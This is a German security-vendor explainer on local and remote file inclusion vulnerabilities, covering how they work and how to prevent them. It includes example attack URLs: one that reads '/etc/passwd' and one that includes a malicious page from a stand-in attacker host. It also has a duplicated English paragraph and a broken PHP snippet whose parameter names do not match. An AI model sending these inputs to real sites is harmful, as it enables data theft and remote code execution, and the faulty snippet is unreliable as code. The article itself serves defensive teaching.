EN

Was ist eine Dateieinschluss-Schwachstelle

In diesem Artikel:

Eine Dateieinschluss-Schwachstelle (File Inclusion) kann immer dann vorhanden sein, wenn eine Webanwendung es Benutzern ermöglicht, Eingaben zu machen, die von der Zielanwendung als Code verwendet werden. Daher ist diese Sicherheitslücke am häufigsten in Webanwendungen zu finden, die Skripting-Programmiersprachen verwenden. 

Lesen Sie weiter, um mehr über die Dateieinschluss-Schwachstelle, ihre verschiedenen Arten und ihre Vermeidung zu erfahren.

Dateieinschluss Sicherheitsbewertung

Security Assessment File Inclusion

CVSS-Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/CR:H/IR:H/AR:H/MAV:N /MAC:L/MPR:N/MUI:N/MS:U/MC:H/MI:H/MA:H

Arten der Dateieinspeisung

Die Ausnutzung einer Sicherheitslücke bei der Dateieinspeisung ist möglich, wenn eine Anwendung zulässt, dass Benutzereingaben als Befehl interpretiert werden (auch als dynamische Dateieinspeisung bekannt). In diesem Fall kann ein Angreifer die Anwendung anweisen, einen Pfad zu einer Datei zu erstellen, die bösartigen Code enthält, und die Datei auszuführen. Alternativ können Angreifer auch auf Dateien auf dem Server zugreifen und darin enthaltene sensible Daten stehlen. 

Programmiersprachen, in denen Dateieinschluss-Schwachstellen häufig auftreten, sind PHP, JavaServer Pages (JSP) und Server Side Includes (SSI).

Diese Schwachstelle ist Teil der allgemeineren Injektionsschwachstelle in der OWASP Top 10-Liste der Schwachstellen. Ein Angriff, der diese Schwachstelle ausnutzt, kann potenziell zu Cross-Site-Scripting (XSS), Directory Traversal und Remotecodeausführung führen.

Ein Exploit für die Dateieinbindung entsteht durch die Verwendung der „include“-Anweisung oder einer ähnlichen Dateisystemfunktionalität, wie z. B. der „require“-Anweisung. Entwickler nutzen diese Funktionalität in der Regel aus mehreren Gründen.

Bei der Angabe von Dateien, die vom Interpreter geparst werden sollen: Um eine bestimmte Datei mit Code zu öffnen, muss ihr Pfad angegeben werden, damit sie geparst und interpretiert wird.

  • Beim Drucken auf eine Seite: Um Zeit zu sparen und eine Doppelarbeit zu vermeiden, verwenden Entwickler manchmal bestimmte Teile des Codes wieder, z. B. Kopfzeilen. Darüber hinaus können sie eine Datei angeben, deren Inhalt kopiert und in der Datei verwendet werden soll, die die Include-Anweisung enthält.
  • Beim Einbinden von Dateien, die von den Nutzern heruntergeladen werden sollen: Um Dateien zum Herunterladen bereitzustellen, anstatt sie im Webbrowser zu öffnen, wird ein spezieller Header in die Anforderung aufgenommen.
  • Wenn in einem der oben genannten Fälle die Benutzereingaben nicht korrekt behandelt werden, kann dies Angreifern die Tür öffnen, um bösartigen Code einzuschließen oder Zugriff auf sensible Daten zu erhalten.

Angreifer nutzen zwei wichtige Schwachstellen bei der Einbindung von Dateitypen aus: Local File Inclusion (LFI) und Remote File Inclusion (RFI). So funktionieren sie.

Lokale Dateieinspeisung

Eine LFI-Schwachstelle ermöglicht Angreifern den Zugriff auf oder die Ausführung von Dateien, die lokal auf dem Anwendungsserver gehostet werden. Dies ist in Anwendungen möglich, die den Pfad zu einer Datei auf dem Server als Benutzereingabe zulassen und eine solche Eingabe nicht bereinigen. 

Angreifer können dann die Datei und die „Include“-Funktionalität verwenden, um ihren Inhalt offenzulegen oder ihren Code auszuführen. Wenn der Server mit hohen Privilegien läuft, kann er sensible Daten, wie z. B. Authentifizierungsdaten, preisgeben.

In einigen Fällen können Anwendungen es Benutzern erlauben, nicht autorisierte Dateien hochzuladen, so dass Angreifer eine Datei hochladen können, die bösartigen Code enthält, z. B. eine Web-Shell. Zusammen mit der Einschlussschwachstelle öffnet dies Angreifern die Tür, um solchen Code auszuführen, wenn sie den Pfad zu ihrer Datei kennen.

Entfernte Dateieinspeisung

Die Sicherheitslücke „Remote File Inclusion“ (RFI) wird durch Anwendungen ermöglicht, die dynamisch auf externe Dateien oder Skripte verweisen, ohne diese ordnungsgemäß zu bereinigen. Durch Ausnutzung der Schwachstelle zwingt ein Angreifer den Server, beliebige Dateien herunterzuladen und auszuführen, die sich an einem entfernten Ort befinden und Backdoor-Shells öffnen können.

Dies kann dazu führen, dass Daten gestohlen oder beschädigt werden, dass Websites verunstaltet und Malware installiert wird oder dass der Server vollständig kompromittiert und übernommen wird.

Was sind die Unterschiede zwischen LFI und RFI?

Im Wesentlichen verwenden LFI- und RFI-Exploits dieselbe Strategie und nutzen dieselbe Art von Schwachstelle aus.

Der Hauptunterschied zwischen diesen beiden Arten von Schwachstellen besteht darin, dass Angreifer bei der Ausnutzung des LFI-Vektors auf lokale Dateieinbindungsfunktionen abzielen, die keine ordnungsgemäße Validierung der vom Benutzer bereitgestellten Eingabeparameter durchführen. Bei der Ausnutzung des RFI-Vektors verwenden Angreifer Referenzierungsfunktionen, die die Angabe von externen Dateipfaden ermöglichen.

Beispiel für einen LFI-Angriff

There are different ways to demonstrate what an LFI may look like. One of the simplest examples of local file inclusion is the simple change or a URL that goes by without filtering. For example, say you have this URL:

https://your-website.com/?module=info.php

If user input is not sanitized correctly, an attacker can edit the URL to something like this:

https://your-website.com/?module=/etc/passwd

If the server has a file inclusion vulnerability, it will simply proceed to display the contents of the requested password file. In the same way, using characters like “/,” An attacker can traverse directories (also known as path traversal) to get to other files in the system, such as server log files. 

Alternatively, if the server allows files to be uploaded but does not correctly check them, a user could upload something like an image that contains code. They would then provide it as input for the parser, making it run the code. An example of this could be:

https://your-website.com/?module=uploads/avatar111.gif

Es gibt verschiedene Möglichkeiten, um zu demonstrieren, wie ein LFI aussehen kann. Eines der einfachsten Beispiele für die Einbindung lokaler Dateien ist eine einfache Änderung oder eine URL, die ohne Filterung abläuft. Nehmen wir an, Sie haben diese URL:

https://your-website.com/?module=info.php

Wenn die Benutzereingabe nicht korrekt bereinigt wird, kann ein Angreifer die URL in etwas wie dieses ändern:

https://your-website.com/?module=/etc/passwd

Wenn der Server eine Dateieinschlussschwachstelle hat, wird er einfach den Inhalt der angeforderten Passwortdatei anzeigen. Auf die gleiche Weise kann ein Angreifer mit Hilfe von Zeichen wie „/“ Verzeichnisse durchqueren (auch als Pfadüberquerung bekannt), um zu anderen Dateien im System zu gelangen, z. B. zu den Server-Protokolldateien. 

Wenn der Server das Hochladen von Dateien zulässt, diese aber nicht korrekt überprüft, könnte ein Benutzer z. B. ein Bild hochladen, das Code enthält. Er würde es dann als Eingabe für den Parser zur Verfügung stellen, so dass dieser den Code ausführt. Ein Beispiel hierfür könnte sein:

https://your-website.com/?module=uploads/avatar111.gif

Beispiel für einen RFI-Angriff

Standardmäßige Serverkonfigurationen und Anweisungen können PHP-Skripte für RFI-Angriffe anfällig machen. Sobald ein Angreifer einen Code entdeckt, der die Einbindung von Dateien auf der Grundlage von Benutzereingaben ermöglicht, kann er dies ausnutzen, um eine externe Datei einzubinden. 

Im folgenden Beispiel ist der Wert „testfile“ beispielsweise offen für Benutzereingaben:

www.your-website.com/abc.php?testfile=example

Wenn die Anweisungen im Code eine Include-Anweisung enthalten, wie z. B.:

$test = $_REQUEST[“testfile”]; Include($.”.php”);

Das Ergebnis wäre, dass ein Angreifer diesen Fall ausnutzen kann, um einen entfernten bösartigen Dateiparameter einzuschließen. Dies könnte wie folgt aussehen:

www.your-website.com/abc.php?test=http://www.attacker-website.com/malicious_page

Dies würde die „malicious_page“ in die anfällige Seite „abc“ einbinden, die sie bei jedem Zugriff auf letztere ausführen würde

Wie lassen sich LFI und RFI verhindern?

Sie können LFI und RFI auf verschiedene Weise abschwächen und verhindern. Die ordnungsgemäße Validierung und Bereinigung von Eingaben spielt dabei eine Rolle, aber es ist ein Irrglaube, dass dies ausreicht. Idealerweise sollten Sie die folgenden Maßnahmen implementieren, um File-Inclusion-Angriffe am besten zu verhindern.

  • Bereinigen Sie vom Benutzer eingegebene Daten, einschließlich GET/POST- und URL-Parameter, Cookie-Werte und HTTP-Header-Werte. Wenden Sie die Validierung auf der Serverseite an, nicht auf der Clientseite.
  • Weisen Sie jedem Dateipfad IDs zu und speichern Sie diese in einer sicheren Datenbank, um zu verhindern, dass Benutzer den Pfad einsehen oder ändern.
  • Führen Sie verifizierte und gesicherte Dateien und Dateitypen auf einer Whitelist, überprüfen Sie Dateipfade anhand dieser Liste und ignorieren Sie alles andere. Verlassen Sie sich nicht auf die Validierung von schwarzen Listen, da Angreifer diese umgehen können.
  • Verwenden Sie eine Datenbank für Dateien, die kompromittiert werden können, anstatt sie auf dem Server zu speichern. 
  • Schränken Sie die Ausführungsberechtigungen für Upload-Verzeichnisse und die Größe von Upload-Dateien ein.
  • Verbessern Sie die Serveranweisungen, z. B. indem Sie automatisch Download-Header senden, anstatt Dateien in einem bestimmten Verzeichnis auszuführen.
  • Vermeiden Sie die Umgehung von Verzeichnissen, indem Sie die API so einschränken, dass nur Dateien aus einem bestimmten Verzeichnis eingeschlossen werden können.
  • Führen Sie Tests durch, um festzustellen, ob Ihr Code für File-Inclusion-Exploits anfällig ist.

Testen Sie den automatischen LFI Scanner

FAQs

Was sind Sicherheitslücken bei der Dateieinspeisung?

Unabhängig davon, ob es sich um eine lokale oder entfernte Schwachstelle handelt, entstehen Sicherheitslücken durch „include“- oder „require“-Anweisungen, die es ermöglichen, dass ungeprüfte Benutzereingaben bereitgestellt werden. Diese Anweisungen sind notwendig und wertvoll, aber sie schaffen Sicherheitslücken, wenn sie nicht abgesichert sind. Um sie auszunutzen, müssen Angreifer die Stelle finden, an der die Schwachstelle besteht, und böswillige Eingaben zur Ausführung bereitstellen.

Welche Auswirkungen hat die Ausnutzung einer Dateieinschluss-Schwachstelle?

Im einfachsten Fall kann die Ausnutzung dieser Schwachstelle dazu führen, dass sensible Daten, wie Authentifizierungsdaten oder Serverprotokolle, offengelegt und gestohlen werden. Sie können auch dazu führen, dass eine Website mit Malware gekapert oder verunstaltet wird, was letztendlich zu einer Kompromittierung und Übernahme des gesamten Servers führt. Darüber hinaus sind mit solchen Schwachstellen Angriffe wie Remote-Code-Ausführung, Cross-Site-Scripting und andere möglich.

Erhalten Sie jetzt kostenlos einen schnellen Sicherheitsbericht für Ihre Website

Wir analysieren derzeit https://example.com
Wir scannen derzeit https://example.com
Status des Scans: In Bearbeitung
Scan target: http://example.com/laskdlaksd/12lklkasldkasada.a
Datum: 24/05/2023
Crashtest Security Suite prüft auf:
Information disclosure Known vulnerabilities SSL misconfiguration Open ports
Scanauftrag ausfüllen
Bitte geben Sie Ihre Daten ein, um die schnelle Sicherheitsüberprüfung zu erhalten.
Ein Sicherheitsspezialist analysiert gerade Ihren Scan-Bericht.
Bitte geben Sie Ihre Telefon-/Handynummer an, damit wir Ihre Identität überprüfen können:
Vielen Dank.
Wir haben Ihren Antrag erhalten.
Sobald Ihr Sicherheitsaudit fertig ist, werden wir Sie benachrichtigen.